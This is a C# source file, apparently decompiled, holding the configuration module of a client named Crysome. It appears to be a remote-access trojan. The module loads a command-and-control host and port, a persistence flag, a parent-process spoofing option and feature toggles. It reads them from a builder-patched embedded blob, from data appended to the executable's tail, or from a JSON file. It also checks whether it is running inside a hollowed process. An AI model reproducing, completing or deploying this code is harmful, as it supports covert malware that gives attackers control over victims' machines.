using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;

namespace Crysome.Client.Configuration;

public static class ClientConfiguration
{
	public static string Identifier = "Crysome-01";

	public static string Host = "127.0.0.1";

	public static int Port = 7777;

	public static string Group = "";

	public static bool Persistence = false;

	public static string ParentSpoof = "";

	public static HashSet<string> EnabledFeatures = null;

	private const string EmbeddedMarker = "##CRYCFG##";

	private const char PaddingChar = '\u0001';

	internal static string EmbeddedConfig = "##CRYCFG##\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001";

	private const string TailMarker = "##CRYCONFIG##";

	private static bool? _isHollowed = null;

	public static bool IsHollowed
	{
		get
		{
			if (_isHollowed.HasValue)
			{
				return _isHollowed.Value;
			}
			try
			{
				string location = Assembly.GetExecutingAssembly().Location;
				if (string.IsNullOrEmpty(location))
				{
					_isHollowed = true;
					return true;
				}
				string name = Assembly.GetExecutingAssembly().GetName().Name;
				bool flag = Path.GetFileNameWithoutExtension(location).Equals(name, StringComparison.OrdinalIgnoreCase);
				_isHollowed = !flag;
				return _isHollowed.Value;
			}
			catch
			{
				_isHollowed = true;
				return true;
			}
		}
	}

	public static string GetProcessPath()
	{
		if (!IsHollowed)
		{
			try
			{
				string location = Assembly.GetExecutingAssembly().Location;
				if (!string.IsNullOrEmpty(location) && File.Exists(location))
				{
					return location;
				}
			}
			catch
			{
			}
		}
		try
		{
			string text = Process.GetCurrentProcess().MainModule?.FileName;
			if (!string.IsNullOrEmpty(text) && File.Exists(text))
			{
				return text;
			}
		}
		catch
		{
		}
		try
		{
			string[] commandLineArgs = Environment.GetCommandLineArgs();
			if (commandLineArgs != null && commandLineArgs.Length != 0 && !string.IsNullOrEmpty(commandLineArgs[0]) && File.Exists(commandLineArgs[0]))
			{
				return commandLineArgs[0];
			}
		}
		catch
		{
		}
		return null;
	}

	public static void Init()
	{
		if (!TryLoadFromEmbedded() && !TryLoadFromExeTail())
		{
			TryLoadFromJsonFile();
		}
	}

	private static bool TryLoadFromEmbedded()
	{
		try
		{
			string embeddedConfig = EmbeddedConfig;
			if (string.IsNullOrEmpty(embeddedConfig) || !embeddedConfig.StartsWith("##CRYCFG##"))
			{
				return false;
			}
			string text = embeddedConfig.Substring("##CRYCFG##".Length).TrimEnd('\u0001', '\0');
			if (string.IsNullOrWhiteSpace(text))
			{
				return false;
			}
			Program.Log("Config found in embedded blob");
			ParseJson(text);
			return true;
		}
		catch (Exception ex)
		{
			Program.Log("Embedded config error: " + ex.Message);
			return false;
		}
	}

	private static bool TryLoadFromExeTail()
	{
		if (IsHollowed)
		{
			return false;
		}
		try
		{
			string processPath = GetProcessPath();
			if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath))
			{
				return false;
			}
			byte[] array = File.ReadAllBytes(processPath);
			string text = Encoding.UTF8.GetString(array, Math.Max(0, array.Length - 1024), Math.Min(1024, array.Length));
			int num = text.IndexOf("##CRYCONFIG##", StringComparison.Ordinal);
			if (num < 0)
			{
				return false;
			}
			string json = text.Substring(num + "##CRYCONFIG##".Length);
			Program.Log("Config found in exe tail");
			ParseJson(json);
			return true;
		}
		catch (Exception ex)
		{
			Program.Log("Exe tail config error: " + ex.Message);
			return false;
		}
	}

	private static void TryLoadFromJsonFile()
	{
		string processPath = GetProcessPath();
		string text = null;
		try
		{
			text = Path.GetFileNameWithoutExtension(processPath);
		}
		catch
		{
		}
		string[] array = new string[3]
		{
			AppDomain.CurrentDomain.BaseDirectory,
			Path.GetDirectoryName(processPath),
			Environment.CurrentDirectory
		};
		foreach (string text2 in array)
		{
			if (string.IsNullOrEmpty(text2))
			{
				continue;
			}
			try
			{
				string text3 = Path.Combine(text2, "config.json");
				if (File.Exists(text3))
				{
					Program.Log("Loading config.json: " + text3);
					ParseJson(File.ReadAllText(text3));
					return;
				}
				if (!string.IsNullOrEmpty(text))
				{
					string text4 = Path.Combine(text2, text + ".config.json");
					if (File.Exists(text4))
					{
						Program.Log("Loading alt config: " + text4);
						ParseJson(File.ReadAllText(text4));
						return;
					}
				}
			}
			catch (Exception ex)
			{
				Program.Log("Config json error: " + ex.Message);
			}
		}
		Program.Log("No config found, using defaults (127.0.0.1:7777)");
	}

	private static void ParseJson(string json)
	{
		string text = Extract(json, "host");
		string s = Extract(json, "port");
		string text2 = Extract(json, "group");
		string text3 = Extract(json, "persistence");
		string text4 = Extract(json, "feat");
		string text5 = Extract(json, "parent");
		if (!string.IsNullOrEmpty(text))
		{
			Host = text;
		}
		if (int.TryParse(s, out var result) && result > 0 && result <= 65535)
		{
			Port = result;
		}
		if (!string.IsNullOrEmpty(text2))
		{
			Group = text2;
		}
		if (!string.IsNullOrEmpty(text3) && text3.ToLower() == "true")
		{
			Persistence = true;
		}
		if (!string.IsNullOrEmpty(text5))
		{
			ParentSpoof = text5.Trim().ToLowerInvariant();
		}
		if (!string.IsNullOrEmpty(text4))
		{
			EnabledFeatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
			string[] array = text4.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
			foreach (string text6 in array)
			{
				EnabledFeatures.Add(text6.Trim());
			}
		}
		Program.Log("Config: Host=" + Host + " Port=" + Port + " Group=" + Group);
	}

	public static bool IsFeatureEnabled(string key)
	{
		if (EnabledFeatures == null)
		{
			return true;
		}
		return EnabledFeatures.Contains(key);
	}

	private static string Extract(string json, string key)
	{
		string value = "\"" + key + "\"";
		int num = json.IndexOf(value, StringComparison.OrdinalIgnoreCase);
		if (num < 0)
		{
			return null;
		}
		num = json.IndexOf(':', num);
		if (num < 0)
		{
			return null;
		}
		for (num++; num < json.Length && char.IsWhiteSpace(json[num]); num++)
		{
		}
		if (num >= json.Length)
		{
			return null;
		}
		if (json[num] == '"')
		{
			num++;
			int i = num;
			bool flag = false;
			for (; i < json.Length; i++)
			{
				if (json[i] == '\\')
				{
					flag = !flag;
					continue;
				}
				if (json[i] == '"' && !flag)
				{
					break;
				}
				flag = false;
			}
			return json.Substring(num, i - num);
		}
		int j;
		for (j = num; j < json.Length && json[j] != ',' && json[j] != '}' && !char.IsWhiteSpace(json[j]); j++)
		{
		}
		return json.Substring(num, j - num);
	}
}
